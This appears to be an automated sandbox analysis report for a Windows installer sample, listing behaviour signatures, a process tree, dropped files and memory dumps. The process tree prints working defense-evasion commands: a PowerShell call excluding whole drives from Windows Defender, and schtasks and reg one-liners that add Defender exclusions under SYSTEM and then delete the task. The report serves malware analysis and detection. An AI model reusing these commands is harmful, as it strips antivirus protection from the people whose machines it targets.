Analysis

  • max time kernel
    151s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 04:36

General

  • Target
    setup_r8014.exe
  • Size 40.9MB
  • Sample260805-e77z2aybnb
  • SHA256 bbc386a9e8f49b180ec471112c253eb8c9f4ba15e8b00eea1bde0cfebcf8673e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_r8014.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_r8014.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2632
  • C:\Users\Public\fimC1b\gBluMb.exe
    "C:\Users\Public\fimC1b\gBluMb.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:1144
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\fimC1b\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2524
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\fimC1b\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2088
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2236
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5700
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2828
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3940
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2424
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4400
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:6108
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5580
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3924
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1800
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:3076
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3992
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4576
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2572
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4296
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5532
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3920
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2440
                      • C:\Users\Public\fimC1b\gBluMb.exe
                        "C:\Users\Public\fimC1b\gBluMb.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2868
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\fimC1b" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1700
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\fimC1b" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5072
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2860
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2900
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2920
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1736
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5900

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\fimC1b\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 5ea8e1f56a1bb4402a6bd5cf7dda091dba4ace61e00a52862ce686648bb2f6cf
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\fimC1b\adoresd.dat
                              • Size 4.7MB
                              • SHA256 f41f4930ad80db84ba9d54ea6581f46e92c7a076673fdb5f700dea6b58b1f57d
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              gBluMb.exe

                              • Path C:\Users\Public\fimC1b\gBluMb.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\fimC1b\msadox.tb
                              • Size 8KB
                              • SHA256 d34fb9e03cfd69c88f0c84d9560ee3389b64d9d441499e9ae2a8136701b43866
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1144-598-0x0000013FB8420000-0x0000013FB842A000-memory.dmp

                              memory/1144-596-0x0000013FD08F0000-0x0000013FD09A2000-memory.dmp

                              memory/1144-595-0x0000013FB8440000-0x0000013FB845E000-memory.dmp

                              memory/1144-592-0x0000013FB83F0000-0x0000013FB8412000-memory.dmp

                              memory/2632-524-0x00007FFEA1BD0000-0x00007FFEA1BE2000-memory.dmp

                              memory/2632-523-0x00000000047C0000-0x00000000047CD000-memory.dmp

                              memory/2632-503-0x00007FFEA1BD0000-0x00007FFEA1BE2000-memory.dmp

                              memory/2632-0-0x00000000047C0000-0x00000000047CD000-memory.dmp

                              memory/2632-1-0x00000000047D0000-0x00000000047DB000-memory.dmp

                              memory/2868-578-0x00000217ABC20000-0x00000217AC4B1000-memory.dmp

                              memory/2868-572-0x00007FFE89B30000-0x00007FFE8A04E000-memory.dmp

                              memory/2868-583-0x00000217ABC20000-0x00000217AC4B1000-memory.dmp

                              memory/2868-586-0x00007FFEAC5D0000-0x00007FFEAC5D2000-memory.dmp

                              memory/2868-585-0x00000217ABC20000-0x00000217AC4B1000-memory.dmp

                              memory/2868-584-0x00000217ABC20000-0x00000217AC4B1000-memory.dmp

                              memory/2868-582-0x00000217ABC20000-0x00000217AC4B1000-memory.dmp

                              memory/2868-577-0x00007FFEAC5E0000-0x00007FFEAC5E2000-memory.dmp

                              memory/2868-575-0x00000217ABC20000-0x00000217AC4B1000-memory.dmp

                              memory/4944-558-0x000002322DD70000-0x000002322DDFA000-memory.dmp

                              memory/4944-555-0x000002322CA30000-0x000002322CA7E000-memory.dmp

                              memory/4944-562-0x000002322D440000-0x000002322DCD1000-memory.dmp

                              memory/4944-564-0x000002322D440000-0x000002322DCD1000-memory.dmp

                              memory/4944-565-0x000002322D440000-0x000002322DCD1000-memory.dmp

                              memory/4944-557-0x000002322DD70000-0x000002322DDFA000-memory.dmp

                              memory/4944-559-0x000002322DD70000-0x000002322DDFA000-memory.dmp

                              memory/4944-542-0x000002322D440000-0x000002322DCD1000-memory.dmp

                              memory/4944-538-0x000002322D440000-0x000002322DCD1000-memory.dmp

                              memory/4944-560-0x000002322DD70000-0x000002322DDFA000-memory.dmp

                              memory/4944-549-0x000002322D440000-0x000002322DCD1000-memory.dmp

                              memory/4944-545-0x000002322D440000-0x000002322DCD1000-memory.dmp

                              memory/4944-544-0x000002322D440000-0x000002322DCD1000-memory.dmp

                              memory/4944-543-0x000002322D440000-0x000002322DCD1000-memory.dmp

                              memory/4944-537-0x00007FFEAC5E0000-0x00007FFEAC5E2000-memory.dmp

                              memory/4944-536-0x000002322D440000-0x000002322DCD1000-memory.dmp

                              memory/4944-530-0x00007FFE89B30000-0x00007FFE8A04E000-memory.dmp

                              memory/4944-529-0x00007FFEAC5D0000-0x00007FFEAC5D2000-memory.dmp

                              memory/4944-600-0x000002322E9C0000-0x000002322EA3C000-memory.dmp